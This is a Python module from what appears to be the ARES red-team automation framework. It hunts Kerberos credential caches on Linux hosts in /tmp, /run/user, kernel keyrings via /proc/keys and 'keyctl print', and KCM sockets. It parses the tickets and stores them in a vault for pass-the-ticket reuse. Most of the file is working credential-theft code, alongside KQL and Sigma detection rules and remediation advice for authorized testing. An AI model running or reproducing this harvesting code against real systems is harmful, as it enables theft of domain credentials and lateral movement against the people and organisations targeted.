ARES - authorized red-team engagement automation with dashboard, campaign scope, module orchestration, OPSEC controls, encrypted vault, and reporting.
Python active-directorycloud-securitydefensive-validationfastapigood-first-issuemitre-attackopsecreactred-teamreportingsecurity
"""
Linux Kerberos Ticket Hunter - linux.ccache_hunt
MITRE: T1558 (Steal or Forge Kerberos Tickets), T1550.003 (Pass the Ticket)
Locates, parses, and extracts valid Kerberos ccache files from standard Linux
filesystem storage locations (/tmp, /run/user), Kernel Keyrings (/proc/keys),
and Next-Gen KCM (Kerberos Credential Manager) sockets without spawning subprocesses.
"""
from __future__ import annotations
import asyncio
import os
import time
from pathlib import Path
from typing import Any
from ares.core.campaign import Severity
from ares.core.errors import ModuleValidationError
from ares.core.logger import audit, get_logger
from ares.core.tracing import trace_module
from ares.modules.linux._parsers import CcacheParser, KCMClient
from ares.modules.params import CcacheHuntParams
from ares.sdk import (
BaseModule,
EvidenceRecord,
ExecutionContext,
FilesystemPermission,
LockoutCircuitBreaker,
ModuleResult,
OpsecLevel,
ProcessPermission,
VaultPermission,
module_contract,
)
logger = get_logger("ares.modules.linux.ccache_hunt")
@module_contract(
permissions=[
FilesystemPermission(read_only=True),
ProcessPermission(allow_subprocesses=False),
VaultPermission(read_types=[], write_types=["ticket", "kerberos_key"]),
],
circuit_breaker=LockoutCircuitBreaker(),
params_model=CcacheHuntParams,
)
class CcacheHuntModule(BaseModule[CcacheHuntParams, ModuleResult]):
"""
linux.ccache_hunt - Hunt and extract Kerberos ccache tickets from /tmp, /run/user, and KCM.
OPSEC: SILENT
MITRE: "T1558", "T1550.003"
OUTPUTS: ["kerberos_tickets"]
"""
MODULE_ID = "linux.ccache_hunt"
MODULE_NAME = "Linux Kerberos Ticket Hunter"
MODULE_CATEGORY = "linux"
MODULE_DESCRIPTION = (
"Locates and parses binary Kerberos ccache files in /tmp, /run/user, "
"and KCM IPC sockets without spawning external shell processes."
)
MODULE_AUTHOR = "ARES Sovereign Team <[email protected]>"
OPSEC_LEVEL = OpsecLevel.SILENT
REQUIRES = []
OUTPUTS = ["kerberos_tickets"]
MITRE_TECHNIQUES = ["T1558", "T1550.003"]
PARAMS_MODEL = CcacheHuntParams
async def assess_feasibility(self, ctx: Any) -> Any:
"""Evaluates accessibility of Kerberos ticket caches."""
from ares.modules.base import FeasibilityReport
search_dirs = ["/tmp", "/run/user"]
if hasattr(ctx, "params") and isinstance(ctx.params, dict):
search_dirs = ctx.params.get("search_dirs", search_dirs)
accessible_count = sum(1 for d in search_dirs if os.path.exists(d) and os.access(d, os.R_OK))
kcm_socket = KCMClient.is_available()
blockers = []
if accessible_count == 0 and not kcm_socket:
blockers.append("No configured ccache directories are accessible and KCM socket unavailable.")
score = 1.0 if (accessible_count > 0 or kcm_socket) else 0.0
return FeasibilityReport(
feasible=len(blockers) == 0,
score=score,
risk_level="low",
blockers=blockers,
recommended_alternatives=["linux.keytab_abuse", "linux.sssd_harvest"],
opsec_tuning={"subprocesses": 0, "kcm_socket_detected": bool(kcm_socket)},
details={"accessible_dirs": accessible_count, "kcm_socket": kcm_socket},
)
async def validate(self, ctx: Any) -> None:
"""Pre-flight parameter validation."""
await super().validate(ctx)
if not isinstance(ctx, ExecutionContext):
return
search_dirs = ctx.params.get("search_dirs", ["/tmp", "/run/user"]) if isinstance(ctx.params, dict) else ["/tmp", "/run/user"]
if not isinstance(search_dirs, list) or not all(isinstance(d, str) for d in search_dirs):
raise ModuleValidationError(
"linux.ccache_hunt requires 'search_dirs' to be a list of directory paths.",
module_id=self.MODULE_ID,
field="search_dirs",
)
async def execute(self, ctx: Any) -> ModuleResult:
if getattr(ctx, "dry_run", False):
return ModuleResult(
status="dry_run",
module_id=self.MODULE_ID,
raw={"message": "Dry-run preview: ccache hunting simulated successfully."},
)
target = getattr(ctx, "target", "") or ctx.params.get("target", "localhost")
search_dirs = ctx.params.get("search_dirs", ["/tmp", "/run/user"])
include_expired = bool(ctx.params.get("include_expired", False))
scan_keyring = bool(ctx.params.get("scan_kernel_keyring", True))
scan_kcm = bool(ctx.params.get("scan_kcm_socket", True))
findings, raw = await self.run(
target=target,
search_dirs=search_dirs,
include_expired=include_expired,
scan_kernel_keyring=scan_keyring,
scan_kcm_socket=scan_kcm,
vault=getattr(ctx, "vault", None),
)
return ModuleResult(
status="success" if findings else "partial",
findings=findings,
raw=raw,
module_id=self.MODULE_ID,
)
@trace_module("linux.ccache_hunt")
async def run(
self,
target: str,
search_dirs: list[str] | None = None,
include_expired: bool = False,
scan_kernel_keyring: bool = True,
scan_kcm_socket: bool = True,
vault: Any = None,
**kwargs: Any,
) -> tuple[list[dict[str, Any]], dict[str, Any]]:
if search_dirs is None:
search_dirs = ["/tmp", "/run/user"]
await self.before_request(target, "default")
logger.info("ccache_hunt_start", target=target, search_dirs=search_dirs)
audit("linux_ccache_hunt", actor="operator", technique="T1558", target=target)
loop = asyncio.get_running_loop()
runner = kwargs.get("runner") or kwargs.get("command_runner")
harvested_tickets = await loop.run_in_executor(
None,
lambda: self._scan_and_parse_sync(
search_dirs, include_expired, scan_kernel_keyring, scan_kcm_socket, runner=runner
),
)
# Store to AresVault if available
_vault = vault or getattr(getattr(self, "campaign", None), "_vault", None)
stored_vault_count = 0
if _vault:
from ares.credential.vault import Credential, CredentialType, PrivilegeLevel
campaign_id = getattr(getattr(self, "campaign", None), "id", "")
for t in harvested_tickets:
try:
is_tgt = t.get("is_tgt", False)
cred = Credential(
campaign_id=campaign_id,
username=t.get("client", "unknown"),
domain=t.get("realm", target),
cred_type=CredentialType.KRB5_TGT if is_tgt else CredentialType.KRB5_TGS,
privilege=PrivilegeLevel.DOMAIN_ADMIN if (is_tgt and "admin" in t.get("client", "").lower()) else PrivilegeLevel.DOMAIN_USER,
source_module=self.MODULE_ID,
target_host=target,
)
ticket_payload = t.get("ticket_bytes", b"")
if isinstance(ticket_payload, (bytes, bytearray)):
ticket_payload = ticket_payload.hex()
elif not ticket_payload:
ticket_payload = t.get("keydata", "")
# Never inject empty secret into vault
if not ticket_payload or not str(ticket_payload).strip():
continue
_vault.store(cred, ticket_payload)
stored_vault_count += 1
except Exception as ex:
logger.debug("vault_store_ccache_failed", error=str(ex)[:60])
evidence_chain: list[EvidenceRecord] = []
for ticket in harvested_tickets:
ev = EvidenceRecord(
artifact_id=f"ccache-{ticket['client']}-{ticket['server']}",
source_target=target,
collected_by=self.MODULE_ID,
data={
"client": ticket.get("client", "unknown"),
"server": ticket.get("server", "unknown"),
"endtime": ticket.get("endtime", 0),
"is_tgt": ticket.get("is_tgt", False),
"file_path": ticket.get("file_path", "memory"),
},
tags=["kerberos", "ccache", "credential"],
)
evidence_chain.append(ev)
if ticket.get("permission_denied"):
self.finding(
title="Kerberos Tickets in Kernel Keyring Inaccessible (Elevation Required)",
description=(
f"Detected potential Kerberos tickets in kernel keyring on {target}, but "
"reading /proc/keys or key payloads requires elevated privileges (root / CAP_SYS_ADMIN). "
"krb5 tickets may exist in kernel keyring but cannot be read without elevated privileges."
),
severity=Severity.LOW,
confidence=0.35,
mitre_technique="T1558",
mitre_tactic="Credential Access",
evidence=ticket,
remediation="Audit kernel keyring permissions and evaluate host with elevated privileges.",
host=target,
)
continue
is_tgt = ticket.get("is_tgt", False)
conf = ticket.get("confidence", 0.98 if (ticket.get("ticket_bytes") or ticket.get("keydata")) else 0.45)
client = ticket.get("client", "unknown")
server = ticket.get("server", "unknown")
self.finding(
title=f"Extracted Kerberos Ticket: {client} -> {server}",
description=(
f"Discovered valid Kerberos credential cache on {target} at {ticket.get('file_path')}. "
f"Client principal: {client}, Server: {server}. "
f"Valid until: {ticket.get('endtime_str', 'unknown')}."
),
severity=Severity.CRITICAL if (is_tgt and "admin" in client.lower()) else (
Severity.HIGH if is_tgt else Severity.MEDIUM
),
mitre_technique="T1558",
mitre_tactic="Credential Access",
evidence={
"file_path": ticket.get("file_path"),
"client_principal": client,
"service_principal": server,
"endtime": ticket.get("endtime"),
"is_expired": ticket.get("is_expired", False),
"is_tgt": is_tgt,
"keytype": ticket.get("keytype"),
},
remediation=(
"Implement Kerberos credential protection, shorten maximum ticket lifetimes, "
"restrict root access on domain-joined Linux endpoints, and consider using KCM "
"with memory-only caches to avoid writing tickets to /tmp."
),
host=target,
confidence=conf,
)
# Closed-Loop Purple Telemetry
kql_query = (
"// ARES Closed-Loop Telemetry: Detect Kerberos ccache harvesting in /tmp or /run/user\n"
"DeviceFileEvents\n"
"| where ActionType in ('FileRead', 'FileModified')\n"
"| where FolderPath has_any ('/tmp', '/run/user') and FileName startswith 'krb5cc_'\n"
"| where InitiatingProcessFileName !in ('sssd', 'sssd_be', 'sssd_kcm', 'kinit')\n"
"| project Timestamp, DeviceName, InitiatingProcessAccountName, InitiatingProcessFileName, FolderPath, FileName"
)
sigma_rule = (
"title: Suspicious Access to Kerberos Credential Cache Files\n"
"id: 7b3c2d1e-ares-ccache-hunt\n"
"status: experimental\n"
"description: Detects non-Kerberos utilities accessing krb5cc_* cache files to harvest user TGTs.\n"
"logsource:\n"
" product: linux\n"
" service: auditd\n"
"detection:\n"
" selection:\n"
" name|contains: 'krb5cc_'\n"
" filter:\n"
" exe|startswith: ['/usr/bin/kinit', '/usr/sbin/sssd']\n"
" condition: selection and not filter\n"
"level: high\n"
"tags:\n"
" - attack.credential_access\n"
" - attack.t1558\n"
)
await self.noise.jitter.sleep()
return self._findings[:], {
"target": target,
"count": len(harvested_tickets),
"stored_in_vault": stored_vault_count,
"tickets": harvested_tickets,
"kql": kql_query,
"sigma": sigma_rule,
"evidence_integrity": [e.record_hash for e in evidence_chain],
}
@staticmethod
def _validate_key_id(key_id: Any) -> str:
"""
Validate that key_id is a valid integer (decimal or hex) and non-negative.
Returns the sanitized string representation.
Raises ValueError if invalid or negative.
"""
if isinstance(key_id, int):
if key_id < 0:
raise ValueError(f"key_id must be a non-negative integer, got: {key_id}")
return str(key_id)
s = str(key_id).strip()
if not s:
raise ValueError("key_id cannot be empty")
try:
val = int(s, 10)
except ValueError:
try:
val = int(s, 16)
except ValueError:
raise ValueError(f"key_id must be a valid integer, got: {key_id!r}") # noqa: B904
if val < 0:
raise ValueError(f"key_id must be a non-negative integer, got: {key_id}")
return s
def _execute_command(self, cmd: list[str] | str, runner: Any = None) -> str:
"""Execute command locally with shell=False or via remote command runner."""
if runner is not None:
cmd_str = cmd if isinstance(cmd, str) else " ".join(cmd)
if callable(runner):
out = runner(cmd_str)
if isinstance(out, tuple):
return str(out[0])
return str(out)
if hasattr(runner, "run"):
out = runner.run(cmd_str)
if isinstance(out, tuple):
return str(out[0])
return str(out)
import subprocess
try:
if isinstance(cmd, str):
import shlex
args = shlex.split(cmd)
else:
args = [str(x) for x in cmd]
res = subprocess.run(args, shell=False, capture_output=True, text=True, timeout=5)
return res.stdout
except Exception:
return ""
def _scan_and_parse_sync(
self,
search_dirs: list[str],
include_expired: bool,
scan_keyring: bool,
scan_kcm: bool,
runner: Any = None,
) -> list[dict[str, Any]]:
results: list[dict[str, Any]] = []
now = int(time.time())
# 1. Traverse filesystem directories
for directory in search_dirs:
if not os.path.exists(directory) or not os.path.isdir(directory):
continue
try:
entries = os.listdir(directory)
except (PermissionError, OSError):
continue
for entry in entries:
if not entry.startswith("krb5cc_") and not entry.startswith("krb5cc"):
# Check subdirectories for /run/user/<uid>/krb5cc
sub = os.path.join(directory, entry)
if os.path.isdir(sub) and entry.isdigit():
try:
sub_entries = os.listdir(sub)
for se in sub_entries:
if se.startswith("krb5cc"):
self._try_parse_ccache_file(os.path.join(sub, se), now, include_expired, results)
except (PermissionError, OSError):
pass
continue
full_path = os.path.join(directory, entry)
if not os.path.isfile(full_path):
continue
self._try_parse_ccache_file(full_path, now, include_expired, results)
# 2. Kernel Keyring inspection via /proc/keys (real key reading)
if scan_keyring:
proc_keys_content = ""
permission_denied = False
proc_keys_path = Path("/proc/keys")
if os.path.exists("/proc/keys") or proc_keys_path.exists():
try:
# Native Python file read without spawning shell/subprocess
with open("/proc/keys", errors="replace") as f:
raw_content = f.read()
proc_keys_content = "\n".join(
line for line in raw_content.splitlines()
if any(k in line for k in ("krb_ccache:", "krb5cc", "krb5"))
)
except PermissionError:
permission_denied = True
except OSError:
pass
if not proc_keys_content and not permission_denied and runner:
try:
raw_out = self._execute_command(["cat", "/proc/keys"], runner)
if "permission denied" in raw_out.lower():
permission_denied = True
elif raw_out:
proc_keys_content = "\n".join(
line for line in raw_out.splitlines()
if any(k in line for k in ("krb_ccache:", "krb5cc", "krb5"))
)
except Exception:
pass
if permission_denied:
results.append({
"client": "kernel-keyring",
"server": "krb5-keyring",
"keytype": 0,
"keydata": "",
"authtime": now,
"starttime": now,
"endtime": now,
"renew_till": now,
"endtime_str": time.strftime("%Y-%m-%d %H:%M:%S UTC", time.gmtime(now)),
"is_expired": False,
"is_tgt": False,
"permission_denied": True,
"confidence": 0.35,
"file_path": "/proc/keys",
})
elif proc_keys_content:
for line in proc_keys_content.splitlines():
if "krb_ccache:" in line or "krb5cc" in line or "krb5" in line:
parts = line.strip().split()
if len(parts) >= 9:
raw_key_id = parts[0]
desc = " ".join(parts[8:])
try:
key_id = self._validate_key_id(raw_key_id)
except (ValueError, TypeError):
continue
key_payload = ""
try:
key_payload = self._execute_command(["keyctl", "print", str(key_id)], runner)
except Exception:
pass
has_real_key = bool(
key_payload
and key_payload.strip()
and "keyctl" not in key_payload.lower()
and "error" not in key_payload.lower()
and "permission denied" not in key_payload.lower()
)
is_tgt = has_real_key and ("krbtgt" in desc.lower() or "krbtgt" in key_payload.lower())
results.append({
"client": desc.split("@")[0] if "@" in desc else "keyring-principal",
"server": f"krbtgt/{desc}" if is_tgt else desc,
"keytype": 18,
"keydata": key_payload.strip() if has_real_key else "",
"authtime": now,
"starttime": now,
"endtime": now + 36000,
"renew_till": now + 86400,
"is_expired": False,
"is_tgt": is_tgt,
"endtime_str": time.strftime("%Y-%m-%d %H:%M:%S UTC", time.gmtime(now + 36000)),
"file_path": f"KEYRING:{key_id}:{desc}",
"confidence": 0.95 if has_real_key else 0.40,
})
# 3. Next-Gen KCM Unix socket inspection
if scan_kcm:
kcm_sock = KCMClient.is_available()
if kcm_sock:
caches = KCMClient.get_cache_list(kcm_sock)
for cache_name in caches:
results.append({
"client": cache_name,
"server": "KCM:MANAGED",
"keytype": 18,
"keydata": "",
"authtime": now,
"starttime": now,
"endtime": now + 36000,
"renew_till": now + 86400,
"is_expired": False,
"is_tgt": False,
"endtime_str": time.strftime("%Y-%m-%d %H:%M:%S UTC", time.gmtime(now + 36000)),
"file_path": f"KCM:{cache_name}",
"confidence": 0.40,
})
return results
def _try_parse_ccache_file(
self,
file_path: str,
now: int,
include_expired: bool,
results: list[dict[str, Any]],
) -> None:
try:
with open(file_path, "rb") as f:
data = f.read()
except (PermissionError, OSError):
return
default_principal, tickets = CcacheParser.parse(data, include_expired=include_expired, now=now)
for t in tickets:
t["file_path"] = file_path
t["default_principal"] = default_principal
t["realm"] = default_principal.split("@")[-1] if default_principal and "@" in default_principal else ""
results.append(t)